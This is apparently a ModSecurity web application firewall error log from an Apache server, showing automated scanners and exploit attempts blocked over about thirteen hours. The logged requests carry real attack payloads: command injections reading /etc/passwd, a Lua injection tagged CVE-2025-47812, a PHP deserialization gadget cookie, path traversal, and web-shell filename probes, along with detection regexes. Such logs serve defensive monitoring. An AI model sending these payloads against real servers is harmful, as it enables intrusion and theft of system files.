[Thu Nov 20 23:40:39.163404 2025] [:error] [pid 40508:tid 40528] [client 172.161.90.19:29982] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aR82d6xXNVCMW_ksxPsAXwAAApI"]
[Thu Nov 20 23:40:40.188584 2025] [:error] [pid 55340:tid 55345] [client 172.161.90.19:30001] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aR82ePOxD-NeMydTybDTDwAAAAA"]
[Thu Nov 20 23:40:41.539963 2025] [:error] [pid 40445:tid 40491] [client 172.161.90.19:29856] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "aR82eVH-MuFcoWRjXpbAHQAAAlA"]
[Thu Nov 20 23:40:42.575974 2025] [:error] [pid 40445:tid 40482] [client 172.161.90.19:30190] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "aR82elH-MuFcoWRjXpbAIAAAAkc"]
[Thu Nov 20 23:40:43.596081 2025] [:error] [pid 34405:tid 34429] [client 172.161.90.19:30206] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "aR82ezFpvu8oRK7ATftXMAAAARY"]
[Thu Nov 20 23:40:44.819112 2025] [:error] [pid 55343:tid 55402] [client 172.161.90.19:29884] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "aR82fFWlO3EnyVMV7w7lPwAAAIM"]
[Thu Nov 20 23:40:47.560762 2025] [:error] [pid 55343:tid 55403] [client 172.161.90.19:29824] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "aR82f1WlO3EnyVMV7w7lQQAAAIQ"]
[Thu Nov 20 23:40:49.479377 2025] [:error] [pid 55340:tid 55365] [client 172.161.90.19:29994] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "aR82gfOxD-NeMydTybDTGwAAABQ"]
[Thu Nov 20 23:40:52.216282 2025] [:error] [pid 40445:tid 40476] [client 172.161.90.19:30165] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "aR82hFH-MuFcoWRjXpbAKgAAAkE"]
[Thu Nov 20 23:40:56.236216 2025] [:error] [pid 55342:tid 55392] [client 172.161.90.19:30164] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "aR82iLg6x32Tvk7fIG8Y-AAAAFQ"]
[Thu Nov 20 23:40:57.779632 2025] [:error] [pid 40445:tid 40494] [client 172.161.90.19:29976] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/up.php"] [unique_id "aR82iVH-MuFcoWRjXpbAQAAAAlM"]
[Thu Nov 20 23:40:59.569589 2025] [:error] [pid 40445:tid 40480] [client 172.161.90.19:30159] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/up.php"] [unique_id "aR82i1H-MuFcoWRjXpbASgAAAkU"]
[Thu Nov 20 23:41:01.695612 2025] [:error] [pid 55340:tid 55350] [client 172.161.90.19:29834] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/up.php"] [unique_id "aR82jfOxD-NeMydTybDTMwAAAAU"]
[Thu Nov 20 23:41:03.521527 2025] [:error] [pid 34405:tid 34422] [client 172.161.90.19:30172] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/up.php"] [unique_id "aR82jzFpvu8oRK7ATftXOwAAAQ8"]
[Thu Nov 20 23:41:04.525353 2025] [:error] [pid 40636:tid 40655] [client 172.161.90.19:30473] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aR82kAK8BWUoW3xq0HA-UAAAA48"]
[Thu Nov 20 23:41:06.769501 2025] [:error] [pid 55340:tid 55367] [client 172.161.90.19:29991] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Thu Nov 20 23:41:07.011147 2025] [:error] [pid 55340:tid 55364] [client 172.161.90.19:29991] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Thu Nov 20 23:41:08.449166 2025] [:error] [pid 55340:tid 55364] [client 172.161.90.19:29991] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Thu Nov 20 23:41:08.695790 2025] [:error] [pid 55340:tid 55363] [client 172.161.90.19:29991] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Thu Nov 20 23:41:09.017728 2025] [:error] [pid 55340:tid 55363] [client 172.161.90.19:29991] File does not exist: /usr/local/apache/htdocs/suspended-page/d12.php
[Thu Nov 20 23:41:09.257292 2025] [:error] [pid 55340:tid 55360] [client 172.161.90.19:29991] File does not exist: /usr/local/apache/htdocs/suspended-page/up.php
[Thu Nov 20 23:41:09.499258 2025] [:error] [pid 55340:tid 55358] [client 172.161.90.19:29991] File does not exist: /usr/local/apache/htdocs/suspended-page/fileas.php
[Thu Nov 20 23:41:10.079468 2025] [:error] [pid 55340:tid 55362] [client 172.161.90.19:29991] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Thu Nov 20 23:41:10.321699 2025] [:error] [pid 55340:tid 55351] [client 172.161.90.19:29991] File does not exist: /usr/local/apache/htdocs/suspended-page/we.php
[Thu Nov 20 23:41:10.568378 2025] [:error] [pid 55340:tid 55365] [client 172.161.90.19:29991] File does not exist: /usr/local/apache/htdocs/suspended-page/bless11.php
[Thu Nov 20 23:41:10.809732 2025] [:error] [pid 55340:tid 55345] [client 172.161.90.19:29991] File does not exist: /usr/local/apache/htdocs/suspended-page/error.php
[Fri Nov 21 00:44:33.011657 2025] [:error] [pid 13506:tid 13692] [client 34.26.122.161:34100] [client 34.26.122.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aR9FcaTbGYpGB-467xY6KgAAABY"]
[Fri Nov 21 01:22:13.203933 2025] [:error] [pid 13506:tid 13672] [client 144.48.39.84:41708] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Fri Nov 21 01:22:13.425364 2025] [:error] [pid 13536:tid 13739] [client 144.48.39.84:41722] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Found 1 byte(s) in ARGS:username outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||www.windfarmcoolants.com.au|F|3"] [data "ARGS:username=anonymous\\x00]]\\x0dlocal h = io.popen(\\x22echo CVE-2025-47812\\x22)\\x0dlocal r = h:read(\\x22*a\\x22)\\x0dh:close()\\x0dprint(r)\\x0d--"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/loginok.html"] [unique_id "aR9ORawnCU8z6PX3-ZmzHAAAAIw"]
[Fri Nov 21 01:22:14.188242 2025] [:error] [pid 13506:tid 13678] [client 144.48.39.84:41728] File does not exist: /usr/local/apache/htdocs/suspended-page/login.php
[Fri Nov 21 01:22:28.929423 2025] [:error] [pid 13506:tid 13686] [client 144.48.39.108:50702] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Fri Nov 21 03:03:14.569508 2025] [:error] [pid 13805:tid 13820] [client 144.48.39.108:46030] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /login"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/login"] [unique_id "aR9l8lurU5-GZdwKvr7pugAAAUw"], referer: windfarmcoolants.com.au/module/login/login.html
[Fri Nov 21 03:03:14.572494 2025] [:error] [pid 13805:tid 13817] [client 144.48.39.108:46044] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Fri Nov 21 04:24:04.302634 2025] [:error] [pid 51434:tid 51459] [client 51.81.107.180:48102] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Fri Nov 21 06:16:21.184774 2025] [:error] [pid 17882:tid 17884] [client 144.48.39.108:37174] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/linuxki/experimental/vis/kivis.php"] [unique_id "aR-TNYwFFssEn348h94CagAAAUA"]
[Fri Nov 21 06:16:21.185799 2025] [:error] [pid 13326:tid 13378] [client 144.48.39.108:37168] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/kerbynet"] [unique_id "aR-TNdh942-HkDIkOWrxMAAAAFQ"]
[Fri Nov 21 06:16:21.187265 2025] [:error] [pid 17882:tid 17905] [client 144.48.39.108:37228] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/logupload"] [unique_id "aR-TNYwFFssEn348h94CbAAAAVU"], referer: https://windfarmcoolants.com.au
[Fri Nov 21 06:16:21.187485 2025] [:error] [pid 17882:tid 17902] [client 144.48.39.108:37196] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Found 4 byte(s) in REQUEST_HEADERS:Cookie outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "REQUEST_HEADERS:Cookie=thimpress_hotel_booking_1=O:11:\\x22WPHB_Logger\\x22:1:{s:21:\\x22\\x00WPHB_Logger\\x00_handles\\x22;C:33:\\x22Requests_Utility_FilteredIterator\\x22:67:{x:i:0;a:1:{i:0;s:2:\\x22-1\\x22;};m:a:1:{s:11:\\x22\\x00*\\x00callback\\x22;s:7:\\x22phpinfo\\x22;}}}"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR-TNYwFFssEn348h94CawAAAVI"]
[Fri Nov 21 06:16:21.193228 2025] [:error] [pid 51434:tid 51455] [client 144.48.39.108:37234] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\/lib\\\\/php\\\\/connector\\\\.minimal\\\\.php$" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/27_Apps_WPPlugin.conf"] [line "6778"] [id "234930"] [rev "2"] [msg "COMODO WAF: File upload vulnerability in the file manager plugin before 6.9 for WordPress (CVE-2020-25213)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WPPlugin"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"] [unique_id "aR-TNfU96liplEDkw_T9mAAAARM"]
[Fri Nov 21 06:16:22.554514 2025] [:error] [pid 13325:tid 13351] [client 144.48.39.108:37326] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/weblogin.cgi?username=admin';cat+/etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/weblogin.cgi"] [unique_id "aR-TNiBUXj9tD75On3Cw8QAAABU"]
[Fri Nov 21 06:16:22.564631 2025] [:error] [pid 13325:tid 13332] [client 144.48.39.108:37356] File does not exist: /usr/local/apache/htdocs/suspended-page/search.php
[Fri Nov 21 06:16:23.191919 2025] [:error] [pid 13412:tid 13420] [client 144.48.39.108:37438] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Fri Nov 21 06:16:23.194112 2025] [:error] [pid 17882:tid 17900] [client 144.48.39.108:37502] [client 144.48.39.108] ModSecurity: Multipart parsing error: Multipart: Invalid boundary: ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\\xe2\\x80\\x94\\r\\n [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR-TN4wFFssEn348h94CdQAAAVA"]
[Fri Nov 21 06:16:23.194405 2025] [:error] [pid 17882:tid 17900] [client 144.48.39.108:37502] [client 144.48.39.108] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: Invalid boundary: ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\\x5cxe2\\x5cx80\\x5cx94\\x5cr\\x5cn"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR-TN4wFFssEn348h94CdQAAAVA"]
[Fri Nov 21 06:16:23.194468 2025] [:error] [pid 17882:tid 17900] [client 144.48.39.108:37502] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR-TN4wFFssEn348h94CdQAAAVA"]
[Fri Nov 21 09:44:43.792816 2025] [:error] [pid 13326:tid 13376] [client 107.189.12.178:18704] [client 107.189.12.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.12.178, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aR_EC9h942-HkDIkOWohuAAAAFI"], referer: https://www.bing.com/
[Fri Nov 21 09:44:43.797026 2025] [:error] [pid 13326:tid 13376] [client 107.189.12.178:18704] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.bing.com/
[Fri Nov 21 10:06:38.195384 2025] [:error] [pid 17882:tid 17885] [client 144.48.39.84:46902] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /apply_sec.cgi"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/apply_sec.cgi"] [unique_id "aR_JLowFFssEn348h95WjgAAAUE"], referer: https://windfarmcoolants.com.au/login_pic.asp
[Fri Nov 21 10:07:30.183379 2025] [:error] [pid 13327:tid 13394] [client 144.48.39.108:53766] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aR_JYvBXf-8B6mFkLePRRQAAAIk"]
[Fri Nov 21 10:07:30.567753 2025] [:error] [pid 13326:tid 13382] [client 144.48.39.108:53770] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/Web.config" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/web.config.i18n.ashx"] [unique_id "aR_JYth942-HkDIkOWolrgAAAFg"]
[Fri Nov 21 10:07:31.186315 2025] [:error] [pid 51434:tid 51440] [client 144.48.39.108:53782] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)((?:\\\\bx(?:link:href|html|mlns)|!ENTITY\\\\b.{0,399}?\\\\b(?:SYSTEM|PUBLIC)|\\\\bdata:text\\\\/html))" at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "170"] [id "213060"] [rev "7"] [msg "COMODO WAF: XSS Filter - Category 3: Attribute Vector||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "www.windfarmcoolants.com.au"] [uri "/adxmlrpc.php"] [unique_id "aR_JY_U96liplEDkw_Qu3QAAAQQ"]
[Fri Nov 21 10:07:31.190114 2025] [:error] [pid 46194:tid 46202] [client 144.48.39.108:53846] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20ugwPSvhVyq.txt%60"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/card_scan.php"] [unique_id "aR_JY5DRPrSqclDqoQHV3gAAAYU"]
[Fri Nov 21 10:07:31.191789 2025] [:error] [pid 51434:tid 51437] [client 144.48.39.108:53834] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /install/install.php?step=4"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/install/install.php"] [unique_id "aR_JY_U96liplEDkw_Qu4gAAAQE"]
[Fri Nov 21 10:07:32.184762 2025] [:error] [pid 13326:tid 13372] [client 144.48.39.108:53852] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3Edtkg.txt"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/include/exportUser.php"] [unique_id "aR_JZNh942-HkDIkOWolsQAAAE4"]
[Fri Nov 21 10:07:32.184826 2025] [:error] [pid 46237:tid 46258] [client 144.48.39.108:53860] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\b(?:c(?:d(?:\\\\b[^a-zA-Z0-9_]{0,}?[\\\\/]|[^a-zA-Z0-9_]{0,}?\\\\.\\\\.)|hmod.{0,40}?\\\\+.{0,3}x|md(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:\\\\.exe|32)\\\\b))|(?:echo\\\\b[^a-zA-Z0-9_]{0,}?\\\\by{1,}|n(?:et(?:\\\\b[^a-zA-Z0-9_]{1,}?\\\\blocalgroup|\\\\.exe)|(?:c|map)\\\\.exe)|t(? ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "65"] [id "211210"] [rev "8"] [msg "COMODO WAF: System Command Injection||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: | id found within ARGS:log:  echo wrsnxfibofiyasthcndcafchbrjingad | id"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/__debugging_center_utils___.php"] [unique_id "aR_JZCo2qlis7MUDbMIaagAAAdM"]
[Fri Nov 21 10:07:33.188428 2025] [:error] [pid 46237:tid 46252] [client 144.48.39.108:53914] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Fri Nov 21 10:07:45.201232 2025] [:error] [pid 13327:tid 13393] [client 144.48.39.84:35608] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aR_JcfBXf-8B6mFkLePRRwAAAIg"]
[Fri Nov 21 10:07:47.221194 2025] [:error] [pid 46194:tid 46202] [client 144.48.39.84:35744] File does not exist: /usr/local/apache/htdocs/suspended-page/__debugging_center_utils___.php
[Fri Nov 21 10:31:12.938457 2025] [:error] [pid 13327:tid 13388] [client 159.203.172.143:64017] [client 159.203.172.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "aR_O8PBXf-8B6mFkLePUGgAAAIM"], referer: binance.com
[Fri Nov 21 12:04:06.501863 2025] [:error] [pid 13326:tid 13377] [client 198.98.55.213:45205] [client 198.98.55.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.55.213, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aR_ktth942-HkDIkOWpBhgAAAFM"], referer: https://duckduckgo.com/
[Fri Nov 21 12:04:06.508330 2025] [:error] [pid 13326:tid 13377] [client 198.98.55.213:45205] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://duckduckgo.com/
[Fri Nov 21 12:42:50.404803 2025] [:error] [pid 13325:tid 13338] [client 141.98.11.16:63627] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-confiq.php
[Fri Nov 21 12:42:50.961887 2025] [:error] [pid 13327:tid 13385] [client 141.98.11.16:57456] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-confiq.php
